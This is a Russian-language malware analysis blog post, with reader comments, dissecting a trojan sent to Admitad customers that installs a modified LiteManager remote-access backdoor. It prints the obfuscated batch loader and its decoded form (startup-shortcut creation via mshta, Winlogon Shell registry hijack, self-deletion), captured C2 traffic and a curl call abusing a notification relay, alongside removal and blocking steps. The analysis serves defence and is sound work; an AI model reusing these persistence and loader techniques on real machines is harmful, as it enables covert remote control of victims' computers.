%lpQmnLQ%%RCRUDqE%zHzGVcDcY%yFcQKpJyG%k
%lpQmnLQ%%RCRUDqE%GAJoRj%yFcQKpJyG%n
%lpQmnLQ%%RCRUDqE%DNmdQ%yFcQKpJyG%q
%lpQmnLQ%%RCRUDqE%oAndDQK%yFcQKpJyG%L
%lpQmnLQ%%RCRUDqE%lSBY%yFcQKpJyG%O
%lpQmnLQ%%RCRUDqE%JcERxC%yFcQKpJyG%h
%lpQmnLQ%%RCRUDqE%pcEihxAuJ%yFcQKpJyG%I
%lpQmnLQ%%RCRUDqE%shHyBbWt%yFcQKpJyG%.
%lpQmnLQ%%RCRUDqE%KAFkG%yFcQKpJyG%-
%lpQmnLQ%%RCRUDqE%AdQY%yFcQKpJyG%t
%lpQmnLQ%%RCRUDqE%pIxi%yFcQKpJyG%Y
%lpQmnLQ%%RCRUDqE%TKaBbO%yFcQKpJyG%1
%lpQmnLQ%%RCRUDqE%pCQWd%yFcQKpJyG%F
%lpQmnLQ%%RCRUDqE%gEuKD%yFcQKpJyG%V
%lpQmnLQ%%RCRUDqE%ulmeh%yFcQKpJyG%9
%lpQmnLQ%%RCRUDqE%nFjJmCQ%yFcQKpJyG%N
%lpQmnLQ%%RCRUDqE%hdvdM%yFcQKpJyG%W
%lpQmnLQ%%RCRUDqE%jgpoj%yFcQKpJyG%"
%lpQmnLQ%%RCRUDqE%xMhHMK%yFcQKpJyG%6
%lpQmnLQ%%RCRUDqE%aOOInC%yFcQKpJyG%3
%lpQmnLQ%%RCRUDqE%GLznBQ%yFcQKpJyG%U
%lpQmnLQ%%RCRUDqE%oFHOxG%yFcQKpJyG%g
%lpQmnLQ%%RCRUDqE%KudP%yFcQKpJyG%{
%lpQmnLQ%%RCRUDqE%QSrCDDA%yFcQKpJyG%$
%lpQmnLQ%%RCRUDqE%XLAkzKtxq%yFcQKpJyG%*
%lpQmnLQ%%RCRUDqE%opQB%yFcQKpJyG%Z
%lpQmnLQ%%RCRUDqE%wjTBiTbn%yFcQKpJyG%%lpQmnLQ%%RCRUDqE%XnXWCNDJO%yFcQKpJyG%!
%lpQmnLQ%%RCRUDqE%fjxrTBqkC%yFcQKpJyG%p
%lpQmnLQ%%RCRUDqE%DuPVUEGE%yFcQKpJyG%D
%lpQmnLQ%%RCRUDqE%mnCdWrg%yFcQKpJyG%?
%lpQmnLQ%%RCRUDqE%DYBqxQkr%yFcQKpJyG%P
%AdQY%%GNbpPXWvQ%%LKQhkKSem%%zHzGVcDcY%%ScSLQo%%QBmzz%%LKQhkKSem%%AdQY%%RCRUDqE%|%RCRUDqE%%qlLeeJ%%QBmzz%%GAJoRj%%vANLWtdW%%RCRUDqE%%jgpoj%%KYddI%%sQrHzBN%%GNbpPXWvQ%%LKQhkKSem%%AdQY%%GLznBQ%%pcEihxAuJ%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%%jgpoj%
%QBmzz%%qlLeeJ%%RCRUDqE%%LkyqXKNYc%%mPVfEbE%%mPVfEbE%%toTUt%%mPVfEbE%%ScSLQo%%LkyqXKNYc%%sQrHzBN%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%TKaBbO%%RCRUDqE%%oFHOxG%%toTUt%%AdQY%%toTUt%%RCRUDqE%%nFjJmCQ%%toTUt%%MKbjyO%%LkyqXKNYc%%immQQhH%%toTUt%%mPVfEbE%%vANLWtdW%
%immQQhH%%vANLWtdW%%RCRUDqE%%jgpoj%%appData%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%immQQhH%%toTUt%%qlLeeJ%%AdQY%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%wjTBiTbn%%jgpoj%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%LKQhkKSem%%LkyqXKNYc%%GAJoRj%%vANLWtdW%%toTUt%%zHzGVcDcY%%shHyBbWt%%AdQY%%OWatTKvD%%AdQY%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%fjxrTBqkC%%toTUt%%QBmzz%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%
%kOXeOOyR%%tNqAVXbz%%LKQhkKSem%%JcERxC%%AdQY%%GNbpPXWvQ%%RCRUDqE%%sQrHzBN%%YrtVU%%LKQhkKSem%%immQQhH%%mPVfEbE%%QBmzz%%fjxrTBqkC%%AdQY%%NSQCAVz%%QvBGN%%OWatTKvD%%LkyqXKNYc%%immQQhH%%MuOksUDd%%AdQY%%LkyqXKNYc%%KbJyRFMVu%%jgpoj%%abWkRpti%%LkyqXKNYc%%AdQY%%RCRUDqE%%OWatTKvD%%yFcQKpJyG%%pNywcj%%mPVfEbE%%LkyqXKNYc%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%lSBY%%YrtVU%%nmvE%%LkyqXKNYc%%immQQhH%%AdQY%%KbJyRFMVu%%jgpoj%%jgpoj%%hdvdM%%abWkRpti%%immQQhH%%mPVfEbE%%QBmzz%%fjxrTBqkC%%AdQY%%shHyBbWt%%abWkRpti%%JcERxC%%LkyqXKNYc%%ScSLQo%%ScSLQo%%jgpoj%%jgpoj%%dAMOY%%NSQCAVz%%abWkRpti%%LkyqXKNYc%%AdQY%%RCRUDqE%%mOMhgb%%yFcQKpJyG%%OWatTKvD%%shHyBbWt%%pNywcj%%mPVfEbE%%LkyqXKNYc%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%abWkRpti%%JcERxC%%toTUt%%mPVfEbE%%AdQY%%immQQhH%%MuOksUDd%%AdQY%%KbJyRFMVu%%OWatTKvD%%shHyBbWt%%abWkRpti%%fjxrTBqkC%%LkyqXKNYc%%immQQhH%%QBmzz%%GNbpPXWvQ%%ScSLQo%%pCQWd%%toTUt%%ScSLQo%%vANLWtdW%%LkyqXKNYc%%mPVfEbE%%LKQhkKSem%%KbJyRFMVu%%jgpoj%%jgpoj%%abWkRpti%%AdQY%%GNbpPXWvQ%%mPVfEbE%%AdQY%%MuOksUDd%%fjxrTBqkC%%jgpoj%%jgpoj%%dAMOY%%tCgoVQ%%jgpoj%%jgpoj%%wjTBiTbn%%hdvdM%%QBmzz%%GAJoRj%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%shHyBbWt%%ScSLQo%%GAJoRj%%zHzGVcDcY%%jgpoj%%jgpoj%%dAMOY%%NSQCAVz%%mOMhgb%%shHyBbWt%%UdGiq%%GNbpPXWvQ%%mPVfEbE%%oFHOxG%%LkyqXKNYc%%AdQY%%DYBqxQkr%%GNbpPXWvQ%%AdQY%%JcERxC%%yFcQKpJyG%%jgpoj%%jgpoj%%~dp0ctfmon.exe"":y.Save():Close()")
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%0%RCRUDqE%>%RCRUDqE%%GAJoRj%%MuOksUDd%%ScSLQo%
%oFHOxG%%toTUt%%AdQY%%toTUt%%RCRUDqE%%DuPVUEGE%%toTUt%%GAJoRj%%LkyqXKNYc%
:NoRecord
%mPVfEbE%%LkyqXKNYc%%oFHOxG%%RCRUDqE%%GNbpPXWvQ%%vANLWtdW%%vANLWtdW%%RCRUDqE%%jgpoj%%upeuMhJ%%NjHP%%QvBGN%%pIxi%%vpVg%%pNywcj%%GLznBQ%%MKbjyO%%MKbjyO%%QvBGN%%nFjJmCQ%%UdGiq%%vpVg%%GLznBQ%%abWkRpti%%QvBGN%%MKbjyO%%wjTBiTbn%%abWkRpti%%toTUt%%qlLeeJ%%AdQY%%ltuAgKR%%GNbpPXWvQ%%mPVfEbE%%LkyqXKNYc%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%LKQhkKSem%%toTUt%%qlLeeJ%%AdQY%%wjTBiTbn%%hdvdM%%QBmzz%%GAJoRj%%vANLWtdW%%toTUt%%ltuAgKR%%LKQhkKSem%%RCRUDqE%%nFjJmCQ%%UdGiq%%wjTBiTbn%%pNywcj%%MuOksUDd%%mPVfEbE%%mPVfEbE%%LkyqXKNYc%%GAJoRj%%AdQY%%gEuKD%%LkyqXKNYc%%mPVfEbE%%LKQhkKSem%%QBmzz%%toTUt%%GAJoRj%%wjTBiTbn%%hdvdM%%QBmzz%%GAJoRj%%ScSLQo%%toTUt%%oFHOxG%%toTUt%%GAJoRj%%jgpoj%%RCRUDqE%%mRMLJkAp%%sQrHzBN%%RCRUDqE%%jgpoj%%abWkRpti%%JcERxC%%LkyqXKNYc%%ScSLQo%%ScSLQo%%jgpoj%%RCRUDqE%%mRMLJkAp%%AdQY%%RCRUDqE%%MKbjyO%%QvBGN%%SAKEFniaY%%vpVg%%abWkRpti%%opQB%%RCRUDqE%%mRMLJkAp%%vANLWtdW%%RCRUDqE%%jgpoj%%appData%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%immQQhH%%toTUt%%qlLeeJ%%AdQY%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%wjTBiTbn%%immQQhH%%AdQY%%qlLeeJ%%tNqAVXbz%%toTUt%%GAJoRj%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%%RCRUDqE%%pVCdLFa%%RCRUDqE%%LkyqXKNYc%%OWatTKvD%%fjxrTBqkC%%ScSLQo%%toTUt%%mPVfEbE%%LkyqXKNYc%%mPVfEbE%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%%jgpoj%%RCRUDqE%%RCRUDqE%%mRMLJkAp%%qlLeeJ%
%immQQhH%%vANLWtdW%%RCRUDqE%%jgpoj%%appData%%wjTBiTbn%%hmixayLOL%%QBmzz%%immQQhH%%mPVfEbE%%toTUt%%immQQhH%%toTUt%%qlLeeJ%%AdQY%%GLznBQ%%fjxrTBqkC%%vANLWtdW%%GNbpPXWvQ%%AdQY%%LkyqXKNYc%%wjTBiTbn%%jgpoj%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%LKQhkKSem%%LkyqXKNYc%%GAJoRj%%vANLWtdW%%toTUt%%zHzGVcDcY%%shHyBbWt%%AdQY%%OWatTKvD%%AdQY%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%fjxrTBqkC%%toTUt%%QBmzz%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%
%LKQhkKSem%%AdQY%%GNbpPXWvQ%%mPVfEbE%%AdQY%%RCRUDqE%%immQQhH%%AdQY%%qlLeeJ%%tNqAVXbz%%toTUt%%GAJoRj%%shHyBbWt%%LkyqXKNYc%%OWatTKvD%%LkyqXKNYc%
%vANLWtdW%%LkyqXKNYc%%ScSLQo%%RCRUDqE%%0%RCRUDqE%>%RCRUDqE%%GAJoRj%%MuOksUDd%%ScSLQo%
:Done


Лень опять взяла верх надо мной, поэтому на этот раз я не стал париться с редакторами, а попросил друга написать программку на C#. Что он и сделал. Низкий ему за это поклон!

После расшифровки получился вот такой bat-файл:
tasklist | find "AvastUI.exe"
if errorlevel 1 goto NoRecord
cd "%appData%\MicrocoftUpdate\"
del sendok.txt
del poi.exe
@mshta vbscript:Execute("Set x=CreateObject(""WScript.Shell""):Set y=x.CreateShortcut(x.SpecialFolders(""Startup"")+""\WinUpdate.lnk""):y.TargetPath=""%~dp0ctfmon.exe"":y.Save():Close()")
del %0 > nul
goto Done
:NoRecord
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "Shell" /t REG_SZ /d "%appData%\MicrocoftUpdate\ctfmon.exe , explorer.exe"  /f
cd "%appData%\MicrocoftUpdate\"
del sendok.txt
del poi.exe
start ctfmon.exe
del %0 > nul
:Done

Тут происходит следующее: проверяется наличие запущенного антивируса Avast. Если таковой имеется, то выполняется переход в папку "%appData%\MicrocoftUpdate\", из неё удаляются файлы sendok.txt и poi.exe, в системной папке «Startup» создаётся ярлык для запуска программы ctfmon.exe и выполняется самоликвидация работающего bat-файла. При этом ctfmon.exe будет запущен при следующей перезагрузке компьютера. Если же Avast не обнаружен, то в реестре по пути «HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon» значение ключа «Shell» заменяется на "%appData%\MicrocoftUpdate\ctfmon.exe, explorer.exe", ну а потом опять же выполняется переход в папку "%appData%\MicrocoftUpdate\", удаляются файлы sendok.txt и poi.exe, запускается ctfmon.exe и выполняется самоликвидация bat-файла. Таким образом, ctfmon.exe будет запускаться при старте любой программы через Проводник Windows.

Всё, конь выполнил свою грязную работу – установил в систему бэкдор. Теперь обратим взоры на виновника торжества — файл ctfmon.exe.

Часть четвёртая: изучение бэкдора


Осмотр бэкдора проводился снаружи — с помощью программ Process Monitor и WireShark.

Сначала заглянем в свойства exe-файла:


Затем пройдёмся по логу Process Monitor-а в поисках слова «Microcoft». Для этого добавим в фильтр вот такое правило:


И что же мы видим? Мы видим, что ctfmon.exe создаёт в реестре весьма интересный ключ:
HKCU\Software\LiteManagerTeam\LiteManager\v3.4\Config\ServerExe
и записывает в этот ключ путь к себе, любимому.


Из чего я делаю предположение, что имею дело с программой LiteManager: иду на сайт LiteManager и скачиваю дистрибутив для Windows. Обратите внимание: он версии 4.7.2 — ничего не напоминает?

Распаковываю дистрибутив и вытаскиваю из него файл сервера: romserver.exe. Открываю окошко с его свойствами:


Да, очень похоже: та же иконка, те же версии, только самую малость отличается размер и есть цифровая подпись. Очевидно, что файл «доработали напильником», потому что в исходном виде он не совсем устраивал злодеев. Может быть как-нибудь выдавал своё присутствие в системе — что было совсем лишним. Однако то, что файл был изменён, совершенно не напрягает антивирусы: на Virustotal-е большинство из них просто молчит и лишь несколько сообщают, что это просто RiskWare.

Продолжим. Теперь я буду изучать лог WireShark.

Первым делом ctfmon.exe выполняет соединение с адресом 91.240.86.200. По установленному каналу взад-вперёд бегает несколько коротких сообщений, следом за которыми ctfmon.exe получает вот такой пакет:
<?xml version="1.0" encoding="UTF-16"?>
<rom_sever_client_settings version="4722">
 <id>180185</id>
 <internal_id>9017511</internal_id>
 <noip_number>-1</noip_number>
 <license>false</license>
 <host></host>
 <port>5650</port>
 <redirected>false</redirected>
 <server_ver>4722</server_ver>
 <remotehideserverresub>false</remotehideserverresub>
 <connectid>1195251490</connectid>
 <protect_code>0</protect_code>
</rom_sever_client_settings>

Похоже на регистрацию на одном из головных серверов LiteManager.
Затем некоторое время опять идёт обмен короткими сообщениями, за которыми приходит ещё один пакет:
<?xml version="1.0" encoding="UTF-16"?>
<rom_noip_client_settings version="4725">
 <host>83.240.218.170</host>
 <port>5651</port>
 <max_connections>30</max_connections>
 <cur_connections>0</cur_connections>
 <ip_filter>false</ip_filter>
 <id_filter>false</id_filter>
 <mac_filter>false</mac_filter>
 <caption></caption>
 <description></description>
 <no_ip_type>1</no_ip_type>
 <license>1</license>
 <number>409</number>
 <internalID>2801665</internalID>
 <NoIPSelf>false</NoIPSelf>
 <ver>4724</ver>
</rom_noip_client_settings>

Это уже интересней. Дело в том, что клиент LiteManager может соединяться с сервером не напрямую, а через третий узел — так называемый NoIPServer. Необходимость в этом может возникнуть в случае, если сервер спрятан от Интернета за какими-нибудь фаерволами/натами и т.п. Для злодеев же наличие подобного третьего узла — прекрасный способ анонимизироваться — скрыть свой клиентский IP от посторонних глаз. Данный пакет как раз содержит указания серверу — через что работать дальше (адрес и порт NoIPServer-а).

Смотрим дальше. Тут начинается самое интересное! Сразу после получения этого пакета ctfmon.exe отправляет по адресу httр://rmansys.ru/utils/inet_id_notify.php вот такой POST-запрос:
----------162747236742480
Content-Disposition: form-data; name="email"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary

blackcc019@gmail.com
----------162747236742480
Content-Disposition: form-data; name="user_name"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary

Dima
----------162747236742480
Content-Disposition: form-data; name="comp_name"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary

DIMA-ПК
----------162747236742480
Content-Disposition: form-data; name="id"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary

180185
----------162747236742480
Content-Disposition: form-data; name="lang_id"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary

1049
----------162747236742480
Content-Disposition: form-data; name="product"
Content-Type: text/html; charset="UTF-8"
Content-Transfer-Encoding: binary

RMS
----------162747236742480--

На что это похоже? Это похоже на то, что ctfmon с помощью скрипта inet_id_notify.php передаёт на email хозяина blackcc019@gmail.com информацию о параметрах подключения к инфицированному компьютеру.

Для проверки этой гипотезы я отправил подобный запрос со своего Debian-сервера:
curl --data "email=мой_ящик&user_name=user1&comp_name=pc1&id=12345&lang_id=1049&product=RMS" http://rmansys.ru/utils/inet_id_notify.php

Проверяю почту — вуаля!
Получено письмо с адреса 'TektonIT Corp. <info@tektonit.com>'
Тема письма: 'Remote Manipulator System установлен на удаленном компьютере, новый Internet-ID получен: 12345'
Текст письма:
Добрый день.

Сообщаем, что на удаленном компьютере установлен и запущен Remote Manipulator System, сгенерирован новый идентификатор "Internet-ID".

ID: 12345

Имя пользователя: user1
Название компьютера: pc1

Данное письмо сгенерировано автоматически и не требует ответа.
Внимание! Сохраните данное письмо в надежном месте или удалите, т.к. оно может содержать информацию, позволяющую получить удаленный доступ к компьютеру.

Сайт: http://rmansys.ru/
Служба поддержки: support@tektonit.com
TektonIT Corp.

Всё понятно. Господа с rmansys.ru предоставили хакерам отличную возможность получить нужную им информацию через такой вот своеобразный открытый почтовый релей. Молодцы, ничего не скажешь.

Затем ctfmon.exe, как ему было и указано, соединяется с компьютером по адресу 83.240.218.170:5651 и время от времени обменивается с ним короткими сообщениями — ждёт входа хозяина.

Наблюдать дальше смысла особого не было: алгоритм поведения понятен.

Часть пятая: лечение


Удалить эту инфекцию весьма не сложно (если, конечно, вам в компьютер не успели удалённо насовать ещё какой-нибудь вирусни). Нужно выполнить следующие шаги:

  • Терминировать процесс бэкдора через диспетчер задач. Называться, кстати, он может и по другому.
  • Удалить службу сервера: выполнить в консоли команду: sc delete ROMService_Support.
  • Удалить папку "%appdata%\MicrocoftUpdate\" со всеми файлами в ней.
  • Восстановить в реестре ключ «HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell»: записать в него строку «explorer.exe».
  • Пройтись по всему реестру в поисках ключей, содержащих слово «Microcoft» и удалить их.
  • Перезагрузить компьютер.

Как превентивно защититься от подобного вторжения? От данной конкретной модификации бэкдора можно защититься, например, добавив в файл hosts строку «127.0.0.1 rmansys.ru» — тогда бэкдор не сможет отправить хозяину письмо. Если же под вашим управлением находится корпоративный фаервол, то в него можно добавить правило блокировки доступа к этому узлу из локальной сети.

Часть шестая: заключительная


Напоследок я поискал в Интернете других пострадавших от этой атаки. Найти их оказалось совсем не трудно: они обсуждали тему нападения на форуме Admitad.

Так что картина вырисовывалась примерно следующая: хакеры проникли в сеть Admitad и утянули оттуда клиентскую базу. Затем состряпали этого трояна и разослали письма клиентам Admitad через подконтрольные им узлы бот-сети. Из той же бот-сети часть узлов, имеющих прямое соединение с Интернетом, была превращена в NoIP-сервера — посредством которых они смогли управлять вновь заражёнными компьютерами.

Какие выводы из этого всего я сделал для себя?


Вывод первый: на современном этапе в Интернете предостаточно средств для создания подобных троянов практически «на коленке». Зачем напрягаться и писать свой собственный бэкдор, если есть масса готовых, исключительно продвинутых и широкофункциональных вариантов? Нужно просто малость их доработать и всё.

Вывод второй: анонимность подобной атаки исключительно высокая. Всё что удалось выудить — email хозяина, толку от которого, в общем-то — ноль.

Вывод третий: я совершил грубейшую ошибку. Первое, что надо было сделать — это выключить заражённую машину, а не копаться в ней, тем более через Интернет. Заражённый винчестер нужно было подключить к своему компьютеру и только после этого выполнять исследования. Повезло ещё, что это оказался бэкдор, а не какой-нибудь навёрнутый криптошифровальщик.

Засим разрешите откланяться. Всем здоровья и удачи! Спасибо за внимание!

Комментарии (88)


  1. ertaquo
    12.04.2016 09:51
    +11

    Боже, какие убогие трояны пошли. Яваскрипт, обфусцированный батник с кучей одинаковых команд, VBS… Бррр!


    1. cry_san
      12.04.2016 10:16
      +7

      Однако действенные


      1. Chumicheff
        12.04.2016 10:54
        +2

        «Действенность» трояна — его вектор атаки, как обычно, через пресловутую СИ. Просто юзеров надо не «журить», а наказывать. Желательно рублем. И оповещать о наказании остальных, чтобы думали хоть немного, прежде чем качать, распаковывать и включать макросы. Так что косяк ИБ по сути административный.


        1. navion
          12.04.2016 19:51

          А причем тут пользователи?
          Виноваты ИТ/ИБ, которые отвечают за пользовательскую среду и оставили в ней возможность запуска такой гадости.


          1. Chumicheff
            13.04.2016 11:07

            К сожалению реалии таковы, что те же самые макросы повсеместно используются в сферической офисной работе в вакууме. Косяк ИБ в том, что недостаточно проводилось разъяснение о фишинговых атаках как таковых, и похоже, что не было в наличии хоть каких-нибудь регулирующих документов о противодействии вредоносному коду.

            При том опять же, даже если они были бы, на практике конечная ответственность за запуск вредоноса так и так ложится на пользователя. Потому что именно он принимал решение «скачать-распаковать-включить макросы». Не надо из пользователей делать «неповинных шаловливых детишек», им не 10 лет в конце концов.

            Безопасность лежит не только в плоскости непосредственно ИТ, не стоит об этом забывать.


            1. jok40
              13.04.2016 11:24

              Всё случилось на домашнем компьютере — я об этом в статье написал.


              1. Chumicheff
                13.04.2016 11:26

                Ну тут тем более пользователь сам виноват, без вариантов.


              1. dartraiden
                13.04.2016 20:11

                Если не нужен запуск скриптов js и vbs, то вот отличное решение: geektimes.ru/company/icover/blog/273534/#comment_9143086
                (кавычки, естественно, прямые должны быть). Существенная часть всякой нечисти отваливается.


                1. navion
                  14.04.2016 14:38

                  Это костыль для домашних версий Windows, а на Pro уже можно включить SRP с запретом выполнения cscript.exe и powershell.exe.


                  1. dartraiden
                    14.04.2016 20:11

                    Не всё так просто…

                    — начиная с в Windows 10 — только на Enterprise. В Pro AppLocker (SRP остался в XP, если не изменяет память) больше не работает, хотя в интерфейсе его настройка есть, что подарило мне несколько увлекательных минут с возгласами «да какого растакого оно не заводится?!». Оказалось, что таки да, эта фича теперь лишь в Enterprise-редакциях
                    — в ноябрьском обновлении AppLocker сломали, на некоторых машинах включение соответствующей службы ведёт к BSOD при загрузке


                    1. navion
                      14.04.2016 20:51

                      По-моему AppLocker всегда был только в Enterprise, потому дал ссылку на SRP, которые хуже, но есть везде.


                      1. dartraiden
                        14.04.2016 20:59

                        Да, вы правы, я почему-то ошибочно полагал, что c появлением AppLocker SRP больше нет.

                        Что касается Pro, то беда в том, что через gpedit.msc AppLocker доступен. Туда можно импортировать политики, но они не работают. Вот это меня и ввело в заблуждение. Заглушку бы хоть какую поместили с сообщением…


                  1. navion
                    16.04.2016 15:23

                    Я, кстати, глупость написал про cscript.exe и никто не поправил: WSH обрабатываются самим SRP, а для «перестраховки» надо ещё и wscript.exe запрещать.


            1. navion
              14.04.2016 14:54

              При том опять же, даже если они были бы, на практике конечная ответственность за запуск вредоноса так и так ложится на пользователя. Потому что именно он принимал решение «скачать-распаковать-включить макросы».

              А кто понесёт ответственность за упущенный тендер из-за боязни опасных документов?


              1. Chumicheff
                14.04.2016 14:58

                Сам пользователь, который не умеет сообщать в ИБ о подозрительных файлах. При нормально выстроенном взаимодействии ИБ с пользователями такие вопросы даже не возникнут.


                1. navion
                  14.04.2016 15:09

                  Это не ИБ, а какие-то вахтёры и такой подход выглядит как попытка прикрыть свой зад вместо реализации технических мер (AppLocker, политики запуска макросов, обновления).


                  1. Chumicheff
                    14.04.2016 15:10
                    -1

                    С высоты дивана виднее, конечно. Извините.


                1. navion
                  14.04.2016 15:10
                  +1

                  А почему не работают организационные меры — отлично написали тут.


                  1. Chumicheff
                    14.04.2016 15:36

                    Где там именно «отлично написали» укажите, пожалуйста? Еще раз повторюсь, при приеме на работу люди подписываются под такими документами о неразглашении, и в различных обязательствах о соблюдении тех же политик ИБ. Если подписавшись под подобными документами в здравом уме, они тем самым думают, что снимают с себя ответственность за инциденты, совершенные собственными руками, это исключительно их собственные проблемы.

                    Информационная безопасность, это не только регулярное применение технических средств и обновлений. Это и как раз те самые организационные меры. Не работают они только в том случае, если никто не заинтересован в их исполнении. Практика показывает, что «материальное стимулирование» отлично «заинтересовывает» пользователей. Особенно работающих с критически важной информацией.

                    Опять же про политики запуска макросов. Советую внимательно ознакомиться с рекомендациями самого Microsoft о безопасности этих самых макросов чтобы понять, от кого в итоге окончательно зависит запуск этих самых макросов. И на основании этого таки сделать вывод, что если сам пользователь собственными руками (по глупости или велению сердца) этот самый макрос запустил, не смотря на существующее предупреждение о возможных последствиях, чья вина — тут тоже очевидно.


                    1. navion
                      14.04.2016 16:00

                      Где там именно «отлично написали» укажите, пожалуйста?

                      В комментарии про замученного менеджера.

                      Советую внимательно ознакомиться с рекомендациями самого Microsoft о безопасности этих самых макросов

                      Ознакомился и не увидел криминала, кроме фразы про базы Access (им ещё кто-то пользуется?).

                      Если подписавшись под подобными документами в здравом уме, они тем самым думают, что снимают с себя ответственность за инциденты, совершенные собственными руками, это исключительно их собственные проблемы.

                      Я просто оставлю картинку:


                      1. Chumicheff
                        14.04.2016 16:09

                        Мне вот интересно, если пресловутый «замученный менеджер» захочет в туалет, у него хватит ума самому в туалет сходить и жопку вытереть, или за него это тоже должны администраторы или еще кто-нибудь делать?

                        Плохо, очень плохо читаете.

                        Макросы VBA, которые не являются надежными, не разрешается запускать, пока пользователь не нажмет «Панель сообщений» и не включит макрос VBA.


                        1. navion
                          14.04.2016 16:26
                          +2

                          если пресловутый «замученный менеджер» захочет в туалет, у него хватит ума самому в туалет сходить и жопку вытереть, или за него это тоже должны администраторы или еще кто-нибудь делать?

                          У HP в офисе даже висит напоминание пользоваться ёршиком и смывать за собой (слава 5S), но никому и в голову не придёт наказывать человека при отсутствии злого умысла. Люди постоянно ошибаются и забывают, так устроен наш мозг и на это расcчитывают мошенники.

                          Плохо, очень плохо читаете.

                          Это настройка по-умолчанию, которую надо менять на Disable all except digitally signed macros в «highly restrictive security environment» и тогда пользователь побежит к безопаснику с неоткрывающимся документом.


                          1. Chumicheff
                            14.04.2016 16:28

                            У нас в каждой конторе PKI развернут?


                            1. navion
                              14.04.2016 18:45

                              Сертификат для code signing с токеном можно купить за сто баксов и пару часов бумажной возни.


                    1. qw1
                      16.04.2016 23:39
                      +1

                      Практика показывает, что «материальное стимулирование» отлично «заинтересовывает» пользователей. Особенно работающих с критически важной информацией.

                      С «критически важной» информацией работает каждый второй менеджер. А вот так разок штрафануть человека на пол-зарплаты, и он пойдёт искать другую работу, где IT-отдел не перекладывает свои обязанности на юзера.

                      К тому же интересно, что конкретно, по вашему мнению, должно быть прописано в «политиках ИБ», которые подписывает работник? Не открывать аттачи от неизвестных адресов? Тогда это проблема IT, удалять эти аттачи из писем. Любое формальное правило можно применить технически, а несоблюдение правил типа «включать голову» не преследуются наказанием, юзер же подумал в меру своей компетенции.


  1. egyp7
    12.04.2016 09:55
    +9

    Можно я немного Вас покритикую?
    1) Непонятно зачем вы разбирали все это вручную, когда подобные трешевые задачи — забота автоматических анализаторов типа cuckoo sandbox. в данном случае мы видим аналогичный результат, который мог быть дать автоматический анализатор, причем без лишних телодвижений и траты времени.
    2) Сложно назвать это поделие «современным троянским конем». «Легетимный» RMS софт, трешевая обфускация, примитивный лоадер на jscript — это больше похоже на поделие школьников, которые решили срубить немного баблеца на неопытных пользователях, но никак не на «современный троянский конь» :)

    P.S: jscript лоадер будет палиться проактивками по типу PDM :)


    1. jok40
      12.04.2016 10:26
      +10

      Конечно можно — критикуйте на здоровье :)

      1) Потому что я не занимаюсь подобными делами каждый день. У меня другой основной вид деятельности. Вот и не в курсе был про подобные песочницы. Спасибо, что подсказали! Век живи — век учись.

      2) Современный, я имел в виду, что не такой, что был во времена Трои :) Насчёт похожести на поделие школьников — меня тоже так и подмывало написать про это в статье. Но потом я решил не обижать школьников и не стал подобного писать :) Однако даже такая поделка, как это не грустно, достигла своей цели. И это несмотря на то, что у человека был установлен антивирус Касперского.


    1. jok40
      12.04.2016 10:49
      +4

      Забыл про самое главное: основной причиной того, что я вообще начал копаться в недрах вируса явилось желание узнать не сделал ли он что-либо ещё кроме установки бэкдора. Дело в том, что почти сразу после начала исследования стало понятно, что он запускал утилиту find из состава ОС. Это навело на мысль, что в недрах диска искалось нечто конкретное, что и было изъято недругом. Я же в тот момент не знал, что с помощью find он просто парсил ответ от пинга. Остальное Вы уже знаете из статьи и моего предыдущего комментария.


    1. nuclear_skillet21011
      12.04.2016 13:41
      +2

      Довольно образованных школьников, я рад за подрастающее поколение(при условии что это оно))


    1. DjOnline
      12.04.2016 14:59

      В касперском же есть «типа» проактивная защита? Почему тогда она не сработала?
      Кто ещё с помощью PDM может защитить от этого?


      1. egyp7
        12.04.2016 16:53
        +1

        Почему это не сработала? Исходя из моего опыта в области вирусологии, мне даже на глаз был виден шаблон PDM. Если вы опираетесь на слова ТС, то я хз какой у него стоял авер от ЛК. Я вот не поленился и для наглядности потестал сей сэмпол на вм с KIS: http://i.imgur.com/f3gJlBT.png
        Причем шаблон для PDM («ADODB.Stream»):
        Open()
        Write (oXMLHTTP.responseBody);
        SaveToFile(FileDest, 2);

        весьма старый. ЕМНИП этот шаблон с июля прошлого года внедрен в продукты ЛК.


        1. jok40
          12.04.2016 19:56
          +1

          Насчёт версии антивируса не могу никак прокомментировать — тогда не обратил на это внимания. Однако прямо сейчас взял тот самый аттач из письма и отправил на Virustotal. Вот результат.


        1. DjOnline
          12.04.2016 22:38

          Я не уверен что это проактивка сработала, а не уже добавленная сигнатура в KSN.


          1. egyp7
